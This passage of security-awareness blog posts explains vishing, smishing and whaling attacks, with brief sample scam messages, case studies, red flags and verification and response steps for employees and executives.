Ever. Be suspicious of spoofed numbers. Caller ID is not authentication. When in doubt, hang up. Ending a suspicious call is always the right choice. ### Organizational controls Document clear policies about what information can and cannot be shared over the phone. Require callback verification through known numbers, not numbers provided by callers. Make it easy to report suspicious calls to security teams. Include vishing scenarios in [security awareness training](/blog/security-awareness-training-guide/). Too many programs focus exclusively on email threats. Establish caller verification methods for internal callers (callback, known extensions, code words). ## How do you train employees against vishing? ### Effective vishing training includes Recorded examples. Let employees hear what vishing calls actually sound like. Practice scenarios. Simulated [vishing calls](/exercises/vishing/) that test response without real consequences. This is where [phishing simulation training](/blog/phishing-simulation-training/) expands beyond email to cover voice channels. Verification drills. Practice looking up and using official callback procedures. Psychological awareness. Understanding why [social engineering attacks](/blog/social-engineering-attacks/) work helps resist them. ### What to measure | Metric | Target | |--------|--------| | Verification rate on vishing simulations | >85% | | Information disclosure rate | <5% | | Suspicious call reporting rate | >90% | ### Building a verification culture - Normalize questioning callers - Celebrate employees who verify before acting - Remove stigma from hanging up on suspicious calls - Ensure managers model verification behavior Building this kind of instinct is part of creating a [human firewall](/blog/human-firewall-training/) where every employee acts as an active line of defense. ## How should you respond to a vishing attempt? ### If you didn't share information 1. Document the call (time, claims made, requested info) 2. Report to IT security 3. Share with colleagues who may receive similar calls ### If you shared credentials 1. Change passwords immediately 2. Enable 2FA if not already active 3. Report to IT security 4. Monitor affected accounts for unauthorized activity ### If financial information was shared 1. Contact your bank immediately 2. Place fraud alerts on credit reports 3. Document everything for potential law enforcement 4. Monitor all accounts for unauthorized transactions ## Organizational vishing response ### Investigation - Analyze attack patterns for organizational targeting - Identify information attackers had (may indicate prior compromise) - Determine attack vector (targeted or broad campaign) ### Communication - Alert employees about current vishing campaigns - Provide specific details about attack pretexts - Reinforce verification procedures ### Prevention - Update [security awareness training](/blog/security-awareness-training-effectiveness/) with new patterns - Consider simulated vishing exercises - Review and strengthen verification procedures ## Case study: Twitter vishing attack (2020) Attackers called Twitter employees claiming to be IT support. Using information gathered from previous research, they convinced employees to provide VPN credentials. Result: Compromise of high-profile accounts including Barack Obama, Joe Biden, Elon Musk, and Apple, which were used to promote a cryptocurrency scam. What failed: Employees provided credentials over the phone despite this being against policy. What would have helped: Established callback verification procedures, stronger culture of challenging callers, training on this specific scenario. ## How is AI changing vishing attacks? Advances in AI voice synthesis make vishing increasingly dangerous: - Voice cloning can replicate specific voices from samples - Real-time adaptation systems can respond naturally to questions - AI eliminates language barriers for global attacks This means traditional detection methods (accent, awkward phrasing) become less reliable. Verification procedures become even more critical. Our guide to [deepfake social engineering](/blog/deepfake-social-engineering/) covers how attackers clone voices from seconds of audio, generate real-time video on live calls, and what verification strategies actually work when you can no longer trust what you see and hear. ## The one rule that actually works Here's the thing about vishing defense: you can't rely on detecting the attack. Good vishers sound completely legitimate. The tells you'd look for in email don't exist in a well-executed phone call. So stop trying to detect. Instead, verify everything. "Let me call you back through our main number." Say it every time someone asks for sensitive information over the phone. IT support, your bank, your CEO's assistant. Everyone. Yes, it feels awkward. Yes, legitimate callers might be annoyed. But that momentary awkwardness is nothing compared to explaining how you gave your password to an attacker who sounded exactly like your IT department. The Twitter hack in 2020? Started with vishing calls to employees. The attackers were good enough to fool people who should have known better. The employees who stopped it weren't the ones who detected something wrong. They were the ones who verified anyway. Vishing is just one piece of a multi-channel threat picture. Attackers combine voice calls with [smishing](/blog/what-is-smishing-cybersecurity/) and email to create attacks that reinforce each other across channels. Training your team on [cybersecurity awareness exercises](/blog/cybersecurity-awareness-exercises/) that cover all these vectors is the only way to keep up. --- *Train your team to verify before they share. [Try our free Vishing exercise](/exercises/vishing/) with a realistic voice phishing scenario, or practice detecting [Callback Phishing](/exercises/callback-phishing/) where the attack starts in your inbox and ends on the phone. Browse our full [security awareness training catalogue](/catalogue/security-awareness/) for more.* --- ### Smishing Attacks: How SMS Phishing Works Source: https://ransomleak.com/blog/what-is-smishing-cybersecurity/ Your phone buzzes. A text from your "bank" says suspicious activity was detected on your account. Click here to verify. The link looks legitimate. The message is urgent. You're already reaching for the link before you've finished reading. That reaction is exactly why [smishing](/threats/smishing/) works. SMS phishing succeeds where email fails because we've spent years training ourselves to distrust our inboxes. Nobody taught us to be suspicious of texts. ## Why do we fall for text message scams? I've watched security-conscious people who would never click an email link tap a suspicious SMS without hesitation. The psychology is different: Texts feel personal. Email comes from companies. Texts come from people you know. When a text arrives, your brain defaults to trust. There's no time to think. Email sits in your inbox until you're ready. A text notification demands immediate attention. You're responding on instinct, not analysis. You can't see where links go. On a phone screen, URLs get truncated. That suspicious domain? Hidden behind "..." in a tiny font. This is the same [URL deception](/blog/phishing-detection/) that works in email, but worse on mobile. Your phone has no defenses. Your email has spam filters, [phishing detection](/blog/phishing-detection/), attachment scanning. Your SMS app? Nothing. ## What are the most common smishing attacks? ### Financial institution alerts > "Chase Alert: Unusual activity detected on your account. Verify immediately: chase-verify-security.com" These messages exploit: - Trust in bank security alerts - Fear of financial loss - Urgency of fraud prevention ### Package delivery notifications > "USPS: Your package cannot be delivered. Update delivery preferences: usps-redelivery.net" Effective because: - Everyone receives packages - Delivery issues feel plausible - Small "redelivery fees" seem reasonable ### Multi-factor authentication exploits > "Google: Someone is trying to sign into your account. Reply YES if this was you, or click here to secure your account." This attack intercepts legitimate login attempts by tricking users into revealing authentication codes. ### Tech support scams > "Apple Support: Your iCloud is full and backups are failing. Upgrade now to prevent data loss: icloud-upgrade-storage.com" Targets users' fear of losing photos and data. Our [tech support scams exercise](/exercises/tech-support-scams/) covers how to recognize these pretexts across SMS, phone, and pop-up channels. ### Tax and government messages > "IRS: You have an outstanding tax obligation. Avoid legal action by paying immediately: irs-payment-portal.com" Uses authority and fear of government penalties. ## What are the red flags of a smishing attack? Unexpected contact. Legitimate organizations rarely initiate sensitive communications via SMS. Urgency language. "Immediately," "urgent," "within 24 hours" pressure quick action over careful evaluation. Generic greetings. Your bank knows your name. "Dear Customer" suggests fraud. Shortened or suspicious URLs. Bit.ly links or domains that don't match the claimed sender. Requests for sensitive info. Legitimate organizations don't ask for passwords, PINs, or full account numbers via text. Poor grammar or formatting. Professional organizations have professional communications. ## How does smishing fit with other social engineering attacks? Attackers rarely use just one channel. A smishing text might tell you to call a number (leading to [vishing](/blog/vishing-awareness/)). A vishing call might reference a "confirmation text" they're about to send. The channels reinforce each other. This kind of multi-channel approach is a hallmark of [social engineering attacks](/blog/social-engineering-attacks/). The difference between them comes down to what makes each channel vulnerable: - [Email phishing](/blog/email-security-training/) gives attackers more space to craft convincing messages, but we've learned to be suspicious - Smishing exploits the trust and urgency built into text messaging - [Vishing](/blog/vishing-awareness/) adds real-time social pressure that's almost impossible to resist Some attackers combine smishing with [barrel phishing techniques](/blog/barrel-phishing/), sending an innocuous first text to build rapport before following up with the malicious link. If you get suspicious communication on one channel, expect attempts on others. ## Protecting against smishing ### Individual protection Never click links in unexpected texts. Navigate directly to services by typing URLs or using apps. Verify independently. If a text claims to be from your bank, call the number on your card, not any number in the message. Enable spam filtering. Both iOS and Android offer SMS spam detection. Enable it. Report smishing. Forward suspicious texts to 7726 (SPAM) to report to carriers. Don't respond. Responding (even to say "stop") confirms your number is active. ### Organizational protection Implement mobile device management (MDM) with security policies on company devices, including SMS threat detection. A strong [mobile security training](/blog/mobile-security-training/) program is the foundation. Include smishing scenarios in [security awareness training](/blog/security-awareness-training-guide/). Mobile threats are undertrained relative to email. Establish clear policies that your organization will never request credentials or sensitive data via SMS. Make it easy for employees to report suspicious texts to security teams. Include SMS-based simulations in [phishing simulation programs](/blog/phishing-simulation-training/) where possible. Interactive [smishing training exercises](/exercises/smishing/) give employees practice identifying text-based attacks before real ones arrive. ## Responding to smishing ### If you didn't click 1. Delete the message 2. Block the sender 3. Report to 7726 (SPAM) ### If you clicked but didn't enter information 1. Close the page immediately 2. Clear browser data 3. Monitor for unusual activity ### If you entered credentials 1. Change password immediately on the real site 2. Enable 2FA if not already active 3. Contact the real organization's fraud department 4. Monitor accounts for unauthorized activity 5. Consider identity theft protection if personal information was shared ## The growing smishing threat Smishing attacks increased 700% during 2021-2022 according to SlashNext's annual threat report, as attackers recognized the opportunity. Contributing factors: - People increasingly handle sensitive transactions on phones - [Security training](/blog/security-awareness-training-effectiveness/) focuses on email while mobile threats are undertrained - SMS lacks the authentication and filtering infrastructure email has developed - Increased reliance on delivery services and mobile banking created new attack surfaces ## Case study: package delivery smishing campaign A 2023 smishing campaign impersonated USPS, UPS, and FedEx simultaneously: Attack pattern: 1. Text claiming delivery issue 2. Link to credential harvesting page mimicking carrier site 3. Request for "small redelivery fee" ($1.99) 4. Payment form capturing full credit card details Scale: Millions of texts sent during holiday shipping season. Effectiveness: Higher success rate than equivalent email phishing due to timing (everyone expected packages) and mobile trust dynamics. Lesson: Seasonal context dramatically increases smishing effectiveness. Training should address current attack patterns. ## The uncomfortable truth We've spent two decades building email security. Spam filters, phishing detection, user training. And it worked. Click rates on phishing emails have dropped. So attackers moved to SMS, where none of those defenses exist. The same skepticism you've learned to apply to email needs to extend to every channel. That "bank alert" text? Call your bank using the number on your card. That "delivery notification"? Check the tracking on the carrier's actual website. It feels paranoid. It's not. It's just how we have to operate now. ## Frequently asked questions ### What is smishing? Smishing, short for SMS phishing, is a social engineering attack delivered via text message. Attackers impersonate banks, delivery services, government agencies, or internal IT, and include a link to a fake login page or a request to call a fraudulent number. The FTC's 2024 Consumer Sentinel Network report lists SMS fraud as a top-three cybercrime category. ### How does smishing differ from phishing? Phishing uses email, smishing uses SMS or messaging apps such as WhatsApp and iMessage. The mechanics are similar: urgency, impersonation, malicious link or callback number. The defense gap is wider for smishing because enterprise spam filters, sandboxing, and URL rewriting all live at the email gateway. Most mobile carriers offer only basic SMS filtering. ### What are common smishing examples? Fake delivery notifications (UPS, USPS, FedEx, Amazon) with a tracking link that harvests credit cards, bank fraud alerts that request account verification, government impersonation around tax season or stimulus payments, and internal IT messages asking employees to confirm VPN or MFA credentials. Holiday shipping season drives the highest smishing volume. During November-December, attackers send hundreds of millions of texts. ### How do you spot a smishing attack? Red flags include a shortened URL (bit.ly, tinyurl, or a lookalike domain), urgency combined with a monetary or account threat, a sender number that does not match the organization's real short code, grammar or punctuation errors, and a request for sensitive data by reply or link. Legitimate banks and government agencies never ask for passwords or full card details by SMS. ### What should you do if you receive a smishing text? Do not click the link, do not reply, and do not call the number in the message. If you are unsure whether the message is real, contact the organization using a number from their official website or the back of your card. Forward the text to 7726 (SPAM) in the US, or your carrier's equivalent reporting number. Delete the message afterward. ### How can organizations protect against smishing? Deploy mobile device management with SMS filtering where possible, require MFA on every service so a harvested password alone is not enough, and train employees with realistic smishing simulations. Include smishing in incident response playbooks. Employees should know how to report a suspicious SMS the same way they report a suspicious email. --- *Build the instincts that catch smishing before you click. [Try our free Smishing exercise](/exercises/smishing/) with a realistic SMS attack scenario, practice spotting [QR Code Phishing](/exercises/qr-code-phishing/), or explore our full [security awareness training catalogue](/catalogue/security-awareness/) for more interactive exercises.* --- ### Whaling Attacks: Why Executives Get Targeted Source: https://ransomleak.com/blog/what-is-whaling-cybersecurity/ When attackers want maximum impact, they don't send mass emails hoping someone clicks. They research a CEO, CFO, or board member for weeks. They craft a perfect message. They wait for the right moment to strike. This is whaling: spear phishing that targets executives. It accounts for some of the largest individual fraud losses in cybersecurity history. ## Why do executives make attractive whaling targets? Executives present unique value to attackers: Decision-making authority: They can approve wire transfers, access strategic information, and override processes without additional approval. Public visibility: LinkedIn profiles, press releases, conference appearances, and SEC filings provide detailed information for crafting convincing attacks. Time pressure: Busy schedules mean executives often process requests quickly without thorough verification. Communication patterns: Executives regularly send brief, action-oriented emails. "Handle this" from the CEO doesn't raise suspicion. Assistants and delegates: Attackers can impersonate executives to their staff, or impersonate vendors to executives. ## What does a whaling attack look like? ### Phase 1: Research Attackers gather intelligence from: - LinkedIn (reporting relationships, recent role changes) - Company website (executive bios, recent announcements) - SEC filings (names of lawyers, auditors, M&A activity) - Press releases (partnerships, transactions in progress) - Social media (travel schedules, personal interests) - Conference agendas (speaking engagements, travel timing) This reconnaissance phase mirrors [social engineering](/blog/social-engineering-attacks/) tradecraft. The more public information available, the more convincing the eventual attack becomes. ### Phase 2: Pretext development Armed with research, attackers create plausible scenarios: Vendor impersonation: "We're updating our banking information ahead of the next quarterly payment..." Legal urgency: "Regarding the confidential matter we discussed, I need this wire completed today..." Board communication: "The audit committee has requested immediate access to..." Executive impersonation: "I'm traveling and can't call. Process this wire for the acquisition quietly." These pretexts overlap heavily with [business email compromise](/blog/bec-training/) tactics. The difference is targeting: whaling goes after the biggest fish in the organization. ### Phase 3: Timing Attacks often coincide with: - Executive travel (can't easily verify in person) - Earnings seasons (financial staff under pressure) - Major transactions (M&A, fundraising) - Holidays and weekends (reduced oversight) ### Phase 4: Execution The attack appears legitimate because it: - Uses information that seems to require insider knowledge - Matches executive communication patterns - Creates urgency that discourages verification - Exploits authority relationships ## Real-world whaling disasters ### Ubiquiti Networks: $46.7 million Attackers impersonating executives and lawyers instructed finance staff to wire funds to overseas accounts for a "confidential acquisition." The company recovered only $8.1 million. ### FACC: 50 million euros The Austrian aerospace company lost 50 million euros when attackers convinced finance staff that the CEO had authorized emergency transfers. Both the CEO and CFO were fired. ### Mattel: $3 million (recovered) Attackers impersonating the CEO convinced a finance executive to wire $3 million to a Chinese bank. Recovery succeeded only because the attack occurred on a Chinese banking holiday, creating a window to reverse the transfer. ## What makes whaling different from standard phishing | Characteristic | Standard phishing | Whaling | |---------------|-------------------|---------| | Target selection | Random or bulk | Specifically researched individuals | | Research investment | Minimal | Extensive (weeks or months) | | Personalization | Generic templates | Highly customized | | Attack volume | Thousands at once | One or few targets | | Pretext quality | Often implausible | Carefully constructed | | Financial impact | Usually smaller | Often catastrophic | If your team struggles with standard [phishing detection](/blog/phishing-detection/), whaling will be far harder to catch. The sophistication gap is significant. ## How do you protect executives from whaling attacks? ### Personal security practices Limit public information exposure: Executives should understand that every public detail enables more convincing attacks. Verify unexpected requests: Even requests that seem to come from peers should be verified through separate channels for unusual actions. Use secure communication: Establish out-of-band verification methods for sensitive transactions. Maintain healthy skepticism: Authority doesn't exempt executives from verification. They should expect to be questioned. ### Organizational controls Dual authorization: Require two-person approval for transfers above threshold, regardless of who requests. Callback verification: Before acting on wire instructions, call a known number (not one from the email) to confirm. Executive communication protocols: Establish that legitimate requests for sensitive actions will never ask to bypass verification. Travel awareness: Heightened verification when executives are traveling or unavailable. ### Technical protections Email authentication: Implement DMARC, DKIM, and SPF to make domain spoofing harder. Solid [email security training](/blog/email-security-training/) ensures your people know what to look for even when technical controls miss something. External email warnings: Banner alerts for emails from outside the organization. Domain monitoring: Alert when lookalike domains are registered. Multi-factor authentication: Even if credentials are compromised, MFA provides a second barrier. ## What should executive security training cover? Executives often exempt themselves from security training. This is exactly backwards: they face the most sophisticated attacks. ### What executive training should cover Attack patterns: Real examples of whaling attacks, especially against similar organizations. Personal information exposure: Demonstrating what attackers can learn from public sources. Verification procedures: Clear processes for confirming unusual requests. Reporting without shame: Creating culture where reporting suspicious contacts is expected, not embarrassing. A solid [security awareness training program](/blog/security-awareness-training-guide/) includes executive-specific modules. Generic [compliance training](/blog/compliance-training/) won't cut it for this audience. ### How to engage busy executives Make it personal: Show what attackers can learn about them specifically, not generic threats. Use relevant examples: Industry-specific case studies with financial impact. Keep it brief: 30-minute sessions focused on actionable guidance. Include their teams: Train assistants and direct reports on verification procedures. Interactive exercises tend to stick better than slide decks. Consider [hands-on security activities](/blog/cyber-security-activities-for-employees/) that put executives in realistic scenarios, like our [Whaling With A Deepfake](/exercises/whaling-with-a-deepfake/) exercise based on the $25 million Hong Kong case. Our guide to [deepfake social engineering](/blog/deepfake-social-engineering/) covers voice cloning, video deepfakes on live calls, and the verification strategies organizations are building in response. ## When executives are the attack vector Whaling can work both ways. Attackers may compromise executive accounts and use them to attack the organization. ### Signs of compromised executive accounts - Unusual requests to staff for wire transfers or sensitive data - Communication patterns that don't match the executive's normal style - Requests explicitly telling staff not to verify or discuss with others - Emails sent at unusual times or from unexpected locations ### Protective measures - Aggressive monitoring of executive account activity - Alerts for suspicious login locations or times - Enhanced authentication requirements - Regular review of authorized access ## How should you respond to a whaling attempt? ### If the attack was prevented 1. Document the attempt thoroughly 2. Report to security team for analysis 3. Alert peer organizations who may face similar attacks 4. Use the example for internal training ### If the attack succeeded 1. Contact bank immediately to attempt recall 2. Preserve all evidence (emails, logs, communications) 3. Report to FBI IC3 for potential recovery assistance 4. Engage incident response team 5. Conduct thorough investigation of compromise scope ## Conclusion Whaling attacks succeed because they exploit what makes executives effective: authority, quick decision-making, and access to organizational resources. The characteristics that enable leadership become vulnerabilities when attackers target them. Protection requires executives to accept that they are targets, participate in training rather than exempting themselves, and follow verification procedures even when requests appear to come from trusted sources. The CEO who insists on callback verification for wire transfers isn't paranoid. They're protecting the organization from the attacks specifically designed to exploit their position. Building that kind of awareness across all levels, from the C-suite to new hires, is the goal of any [human firewall training](/blog/human-firewall-training/) program worth its name. --- *Prepare your leadership team for sophisticated attacks. [Try our free Whaling With A Deepfake exercise](/exercises/whaling-with-a-deepfake/) based on the $25 million Hong Kong fraud case, drill the [Deepfake Audio Detection](/exercises/deepfake-audio-detection/) procedural defense against AI-cloned voices, walk [Verification Procedures](/exercises/verification-procedures/) for vendor-banking BEC, or practice stopping a [Business Email Compromise](/exercises/business-email-compromise/) before the wire goes through. Explore our full [security awareness training catalogue](/catalogue/security-awareness/) for more.*